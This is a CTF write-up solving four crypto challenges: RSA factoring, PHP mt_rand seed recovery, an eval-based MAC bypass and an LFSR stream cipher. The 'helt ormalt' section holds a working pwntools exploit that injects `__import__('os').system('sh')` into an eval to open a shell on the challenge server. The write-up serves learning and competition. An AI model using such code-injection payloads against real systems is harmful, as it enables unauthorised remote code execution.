This time I solved some crypto problems in the xxx team, and the problems were simpler than expected.

Crypto#

ikea#

p = random_prime(2**1024)
q = random_prime(2**1024)
a = randint(0, 2**1024)
b = randint(0, 2**1024)

def read_flag(file='flag.txt'):
    with open(file, 'rb') as fin:
        flag = fin.read()
    return flag

def pad_flag(flag, bits=1024):
    pad = os.urandom(bits//8 - len(flag))
    return int.from_bytes(flag + pad, "big")

def generate_keys(p, q):
    n = p * q
    e = 0x10001
    return n, e

def encrypt_message(m, e, n):
    return pow(m, e, n)

flag = read_flag()
m = pad_flag(flag)

n, e = generate_keys(p, q)
assert m < n

c = encrypt_message(m, e, n)

print(c)
print(n)
print(p + b^2 * q)
print(a^2 * p + q)

Let the two extra numbers be $k_1, k_2$, then it can be seen that $k_1k_2=(p+b^2q)(a^2p+q)=a^2p^2+b^2q^2+n+a^2b^2n$. Note that the sizes of $a, b, p, q$ are all similar, so $\lfloor \sqrt{k_1k_2/n} \rfloor \approx ab$. In fact, the difference between the two is about 1, so we can brute force the value of $ab$.

At this point, there are four unknowns and four equations, so we can directly solve it using Groebner basis:

c = 8572900207835762766259060305548427890100883047397634495461699978853157157614537323169347948562539226943681557963690343113654640872734234635812404134737383783029729221882136594985076147296741783975976308542646646810930077508306094278881958489094577466122474005274780847502484006774122175180575134906406965261990134809789771668692230279546111615898299677351494730026393299745116126441043262641839846131458109835024756668882646302817842268403187061058095410531259459671076936340425779509762997737719853997033122063887141701633633320429028875760558509090378244944304521100714575766987495025277855338621083017737516612418
n = 11144809766924753211164169820974462795856999866851443978190116700121363041989551071283939406281584000345497130693285334786351068731714844065338178589052164965325272282738320690462179192218231489414187602007189279178640751309024526964298676986141201862905207755202946987885824563821850086298674083250354794989520315263319887676335677763156987501376451785566994901716198026893601133060745072362354091538721508265964958576574770694885291955086273571799403020416375990066994984333344295830201448319348356984141129557424755917133168216662244421360263592451413336939492881342257615928593787731918025125347411493314907250137
k1 = 3133548371772245794593916200216569789009977503838749561227383433777720559941789482302916747603629163277628624218728934067099751860342707727093284736792795911695291350493714661780427322085098620600442730601203727048863482544984150704785568558089024822242137835533188983145916911039381864946181510766072421365244229323632933214703949194559838270346065808390788292338719229269524606818971098272185892178470535466837645119304408225231332458404102608745644737712878232270144653748091436259421085576899894410825994764509434190271250735054775427479336540747164022736063724088385024013450114201117597406901351692873529770371805217775170905068961082711810613758277323468498024046033975544974993657043847859384646871490664090364968788225608324873580922409806934637562732699242491794243842510137720412106011270126856983601691379316962610115528724097947971496018172633530779698135626404996346034214279586492856257103552654185991624401974
k2 = 1668414440918184768102355070614199463515793278471647551081913918452877485930426726226888602387669498229921420169090265893271687426728329309931304042833872472475849661618647319286811295064264833639171767419811286840565958014252378459070198913214095511167368116072393143874905742547670514329775410132929858061858466466966832673233837546616958733459536386756690536101619509572857744943940172226354331174483476689882385303341939713713582201065151215959817799687574284712464653518663899972395427884233952547367314997783361776439415679136448860553029913121320416809081351610252174264463832509457873454643897905542501703122708259182482820112852708896076939481486564165447979041966168147292062612542988326875351534914932148857901377696892000822979439668349934754312002375192855438370671607139791178130484207096854031824894563191176002437196868004348552012031601430061559392941224723263095744921218764294325481602675909958988713011638

ab_approx = isqrt(k1 * k2 // n)
while True:
    P = QQ["pp,qq,aa,bb"]
    pp, qq, aa, bb = P.gens()
    I = P.ideal(
        [pp * qq - n, pp + bb ^ 2 * qq - k1, aa ^ 2 * pp + qq - k2, aa * bb - ab_approx]
    )
    V = I.variety(ring=ZZ)
    if len(V) == 0:
        ab_approx -= 1
        continue
    sol = V[0]
    ppp = ZZ(sol[pp])
    qqq = ZZ(sol[qq])
    if ppp * qqq == n:
        break
    ab_approx -= 1

phi = (ppp - 1) * (qqq - 1)
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
# midnight{1_kN0w_3n0ugh_4b0ut_RSA}

Mt. Random#

<?php
session_start();

$flag = "midnight{abcd}";

function flag_to_numbers($flag) {
    $numbers = [];
    foreach (str_split($flag) as $char) {
        $numbers[] = ord($char);
    }
    return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end) {
    $rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
    if ($rand_num >= $gap_start) {
        $rand_num += ($gap_end - $gap_start);
    }
    return $rand_num;
}

if(!str_starts_with($flag, "midnight{")){
    echo "Come back later.\n";
    exit();
}

$flag_numbers = flag_to_numbers($flag);

if (isset($_GET['generate_samples'])) {
    header('Content-Type: application/json');

    // Maybe we can recover these constants 
    $min = 0;
    $max = 0;
    $gap_start = 0;
    $gap_end = 0;
    $seed = mt_rand(0, 10000); // Varying seed
    $samples = [];

    foreach ($flag_numbers as $number) {
        mt_srand($seed + $number);
        $samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
    }

    echo json_encode(["samples" => $samples]);
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mt. Random</title>
</head>
<body>
    <h1>Hiking Guide</h1>
    <p>This mountain is boring, I'm going to sample alot of seeds!</p>
    <a href="?generate_samples=1">Get a new sample</a>
</body>
</html>

First, write a script to fetch all the data, it doesn't need to run completely:

import requests
import pickle
import os

all_samples = set()
if os.path.exists("all_samples.pkl"):
    with open("all_samples.pkl", "rb") as f:
        all_samples = pickle.load(f)
while len(all_samples) < 10001:
    samples = requests.get(
        "http://mtrandom-1.play.hfsc.tf:51237/?generate_samples=1"
    ).json()["samples"]
    all_samples.add(tuple(samples))
    print(len(all_samples))
    with open("all_samples.pkl", "wb") as f:
        pickle.dump(all_samples, f)

Then write a script to convert it to JSON and count the occurrence of numbers to easily identify min, max, gap_start, gap_end:

import pickle
import json
from collections import Counter

with open('all_samples.pkl', 'rb') as f:
    all_samples = pickle.load(f)

with open('all_samples.json', 'w') as f:
    json.dump([list(x) for x in all_samples], f)

nums = []
for s in all_samples:
    for x in s:
        nums.append(x)
print(sorted(Counter(nums).keys()))

Afterwards, brute force the flag character by character, the condition is to check if the output number appears in all samples:

<?php
function flag_to_numbers($flag)
{
    $numbers = [];
    foreach (str_split($flag) as $char) {
        $numbers[] = ord($char);
    }
    return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end)
{
    $rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
    if ($rand_num >= $gap_start) {
        $rand_num += ($gap_end - $gap_start);
    }
    return $rand_num;
}

const SAMPLES = 10;
$flag = 'midnight{';
$all_samples = json_decode(file_get_contents('all_samples.json'));
$all_samples = array_slice($all_samples, 0, SAMPLES);

function try_flag($flag)
{
    global $all_samples;
    $flag_numbers = flag_to_numbers($flag);
    $x_all_samples = array_map(function ($samples) use ($flag_numbers) {
        return array_slice($samples, 0, count($flag_numbers));
    }, $all_samples);
    $min = 1;
    $max = 256;
    $gap_start = 100;
    $gap_end = 150;
    $seed = 0;
    $match_cnt = 0;
    while ($seed <= 10000) {
        $samples = [];
        foreach ($flag_numbers as $number) {
            mt_srand($seed + $number);
            $samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
        }
        if (in_array($samples, $x_all_samples)) {
            $match_cnt += 1;
        }
        $seed += 1;
    }
    return $match_cnt;
}

$charset = '_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$flag = 'midnight{m1nd_th3_g4p}';
while ($flag[-1] != '}') {
    $max_match_cnt = 0;
    $max_match_char = '';
    foreach (str_split($charset) as $char) {
        $match_cnt = try_flag($flag . $char);
        echo "$char: $match_cnt\n";
        if ($match_cnt > $max_match_cnt) {
            $max_match_cnt = $match_cnt;
            $max_match_char = $char;
        }
        if ($match_cnt >= SAMPLES / 2) {
            break;
        }
    }
    $flag .= $max_match_char;
    echo $flag . PHP_EOL;
}

helt ormalt#

#!/usr/bin/python3 -u

__builtins__.KeyboardInterrupt = __builtins__.SystemExit
import hashlib
import asyncio
import asynccmd
del asynccmd.Cmd.do_test

from secrets import FLAG, KEY, CREDS

H = lambda b: hashlib.sha256(b).digest()
EH = lambda *x: print(x[1]['exception'])


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


class Validator:
    def __init__(self, buf):
        self.buf = buf
        self.counter = 0

    async def __invert__(self):
        self.counter += 1
        assert self.counter < 10000, "Invalid login"
        xx = xor(H(self.buf[-32:]), self.buf[:32])
        self.buf = xx + xor(H(xx), self.buf[-32:])

    def __radd__(self, *args):
        eval(self.buf[:-32])

    def __bool__(self, *args, **kwargs):
        return H(self.buf[:32]+KEY) == self.buf[-32:]


class Cli(asynccmd.Cmd):
    intro = f'Guest credentials: guest / {CREDS}'
    prompt = '>>> '
    score = 0

    def __init__(self, loop):
        self.cmdloop(loop)
        self.loop.set_exception_handler(EH)

    def do_login(self, arg):
        try:
            user, password = arg.split()
            self.loop.create_task(self.login(user, password))
        except ValueError:
            raise RuntimeError('Usage: login [username] [password]')

    async def login(self, user, password):
        if await self.validate(bytes.fromhex(password)):
            print("Logged in as {user}.")

    async def validate(self, aval):
        bval = Validator(aval)
        while not bval:
            await (~bval)
        self.score += bval

    def do_play_game_and_get_points(self, arg):
        raise NotImplementedError('TODO later, maybe.')

    def do_flag(self, arg):
        try:
            assert self.score > 1337
            print(FLAG)
        except Exception:
            print("Not yet.")


async def main():
    Cli(asyncio.get_event_loop())
    await asyncio.sleep(60)

if __name__ == '__main__':
    asyncio.run(main())

It can be noted that after some loops, the password will be evaluated if the hash matches, and since there is no error when logging in remotely, it can be inferred that the evaluated content should be a normal string. So we can use a loop to repeatedly find out what that string is. A simple condition is isascii.

The found eval string is: print('\nLogged in as guest.\n'), but this is not very important, we only need to know that its corresponding last 32 bytes are the corresponding MAC.

Another key point is that during signature, it only hashes the first 32 characters and compares them with the last 32 characters. So if we insert something in the middle, it can still pass the check, and eval(self.buf[:-32]) will include what we inserted, thus there is code injection, making it easy to get a shell.

from pwn import remote
import hashlib

H = lambda b: hashlib.sha256(b).digest()


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


class Validator:
    def __init__(self, buf):
        self.buf = buf
        self.counter = 0

    def __invert__(self):
        self.counter += 1
        assert self.counter < 10000, "Invalid login"
        xx = xor(H(self.buf[-32:]), self.buf[:32])
        self.buf = xx + xor(H(xx), self.buf[-32:])


io = remote("heltormalt-1.play.hfsc.tf", 2437)
io.recvuntil(b"guest / ")
pwd = io.recvlineS().strip()
v = Validator(bytes.fromhex(pwd))
while True:
    if v.buf[:-32].isascii():
        print(v.counter, v.buf)
        break
    ~v
pwd2 = (v.buf[:32] + b',__import__("os").system("sh")' + v.buf[-32:]).hex()
io.sendline(f"login guest {pwd2}".encode())
io.interactive()
# env
# midnight{aval_bval_eval}

The hidden secrets.py on the server:

import os
import hashlib
import random

FLAG = os.getenv('FLAG')
KEY = os.urandom(32)

H = lambda b : hashlib.sha256(b).digest()

def xor(a,b):
	return bytes(x^y for x,y in zip(a,b))

CREDS = b"print('\\nLogged in as guest.\\n')"
CREDS = CREDS + H(CREDS+KEY)

for _ in range(1337 + random.randint(0, 1000)):
	buf = CREDS
	b = xor(H(buf[:32]), buf[-32:])
	a = xor(H(b), buf[:32])
	CREDS = a + b

CREDS = CREDS.hex()

del H, xor

dancing bits#

import os
import zlib
from flask import Flask, request, jsonify
from secrets import token_bytes

app = Flask(__name__)

# The secret key and nonce for the DancingBits stream cipher
SECRET_KEY = int.from_bytes(token_bytes(4), 'big')
NONCE = int.from_bytes(token_bytes(4), 'big')

FLAG = "midnight{test}"

def lfsr(state):
    bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
    return (state << 1) | bit

def rotl(x, k):
    return ((x << k) | (x >> (8 - k))) & 0xff

def swap(x):
    return ((x & 0x0f) << 4) | ((x & 0xf0) >> 4)

def dancingbits_encrypt(plaintext, key, nonce):
    state = (key << 32) | nonce
    ciphertext = bytearray()

    for byte in plaintext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xff
        c = byte ^ ks_byte
        c = rotl(c, 3)
        c = swap(c)
        ciphertext.append(c)

    return ciphertext

def dancingbits_decrypt(ciphertext, key, nonce):
    state = (key << 32) | nonce
    plaintext = bytearray()

    for byte in ciphertext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xff
        c = swap(byte)
        c = rotl(c, -3)
        p = c ^ ks_byte
        plaintext.append(p)

    return plaintext

@app.route('/encrypted_flag', methods=['GET'])
def encrypted_flag():
    compressed_flag = zlib.compress(FLAG.encode('utf-8'))
    encrypted_flag = dancingbits_encrypt(compressed_flag, SECRET_KEY, NONCE)
    return encrypted_flag

@app.route('/decrypt_oracle', methods=['POST'])
def decrypt_oracle():
    encrypted_data = request.data

    if len(encrypted_data) < 1:
        return jsonify(status=500, message="Error: Data too short")


    try:
        decrypted_data = dancingbits_decrypt(encrypted_data, SECRET_KEY, NONCE)
        decompressed_data = zlib.decompress(decrypted_data)

        for i in range(len(decompressed_data.decode('utf-8'))):
            if decompressed_data.decode('utf-8')[i] == FLAG[i]:
                return jsonify(status=500, message="Error: CTF character at index found: " + str(i))
        return jsonify(status=200, message="Success")
    except Exception as e:
        print(e)
        return jsonify(status=500, message="Error")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

It looks like an oracle problem, but dancingbits_decrypt cannot be used because of the -3, as Python does not allow negative numbers for shifting.

The key point of the problem is that its state transition is an LFSR, which is entirely linear, so it should be solvable using a linear system. The plaintext part is zlib compressed, combined with the flag prefix, we can know a total of 11 bytes of plaintext.

However, using Sage to create a linear system is a bit troublesome, so I lazily used z3. But in the end, I found that the key is not unique, and using z3 to enumerate all possibilities is not very efficient. So we need to find a method to calculate the kernel of the key's linear system to facilitate brute-forcing.

Note: The key here actually refers to (key << 32) | nonce)

My method is to use z3 to enumerate about 1000 possible keys, then observe the changing bits to determine the kernel's index. However, it turns out there are 4x indexes, which is feasible for brute force but still a bit large in computation. Later, after re-examining the code, I found that the LFSR is only 32 bits, meaning the SECRET_KEY is not used, so the unknown bits are only 32 bits. Re-finding the kernel's indexes reveals only 14 left, so directly brute-forcing the possible key is feasible.

from z3 import *
import requests
import zlib
from binteger import Bin
from itertools import product


def lfsr(state):
    bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
    return (state << 1) | bit


def rotl(x, k):
    return ((x << k) | (x >> (8 - k))) & 0xFF


def swap(x):
    return ((x & 0x0F) << 4) | ((x & 0xF0) >> 4)


def dancingbits_decrypt(ciphertext, kn):
    state = kn
    plaintext = bytearray()

    for byte in ciphertext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xFF
        c = swap(byte)
        c = rotl(c, 8 - 3)
        p = c ^ ks_byte
        plaintext.append(p)

    return plaintext


def z3_lfsr(state):
    bit = ((LShR(state, 31)) ^ (LShR(state, 21)) ^ (LShR(state, 1)) ^ state) & 1
    return (state << 1) | bit


def z3_rotl(x, k):
    return RotateLeft(x, k)


def z3_swap(x):
    return Concat(Extract(3, 0, x), Extract(7, 4, x))


def z3_dancingbits_encrypt(plaintext, keynonce):
    state = keynonce
    ciphertext = []

    for byte in plaintext:
        state = z3_lfsr(state)
        ks_byte = Extract(7, 0, LShR(state, 24))
        c = byte ^ ks_byte
        c = z3_rotl(c, 3)
        c = z3_swap(c)
        ciphertext.append(c)

    return ciphertext


# ct = requests.get("http://dancingbits-1.play.hfsc.tf:23105/encrypted_flag").content
ct = b"\xf0\xd7\xd6\x00k\xfeQ\xcf43\x1a\x8a\xdf\xee\xaa\xbc.\xf8\x1d\xd4\x7fZ\xdd#~F\xbcl\xf0k|,\xf8\xb9\x1f`8X5\x915\xad\x1a"
print(ct)
pt = zlib.compress(b"midnight{xxxxx")[:11]

keynonce = BitVec("kn", 64)
sol = Solver()
sol.add(Extract(63, 32, keynonce) == 0)  # LFSR is 32 bits, so key doesn't matter
ct_sym = z3_dancingbits_encrypt(pt, keynonce)
for x, y in zip(ct, ct_sym):
    sol.add(x == y)

# there are mutliple solutions, we try to find the kernel
pos = [set() for _ in range(64)]
cnt = 0
while sol.check() == sat and cnt < 1000:
    m = sol.model()
    kn = m[keynonce].as_long()
    for i, x in enumerate(Bin(kn, 64).list):
        pos[i].add(x)
    sol.add(keynonce != kn)
    cnt += 1
kernel = []
for i, x in enumerate(pos):
    print(i, x)
    if len(x) == 2:
        kernel.append(i)
print(kernel)

# brute force the kernel
bv = Bin(kn, 64).list
for bs in product((0, 1), repeat=len(kernel)):
    for i, b in zip(kernel, bs):
        bv[i] = b
    rec_pt = dancingbits_decrypt(ct, Bin(bv).int)
    try:
        print(zlib.decompress(rec_pt))
    except:
        pass
# midnight{th3_h0t_n3w_str3am_c1pher}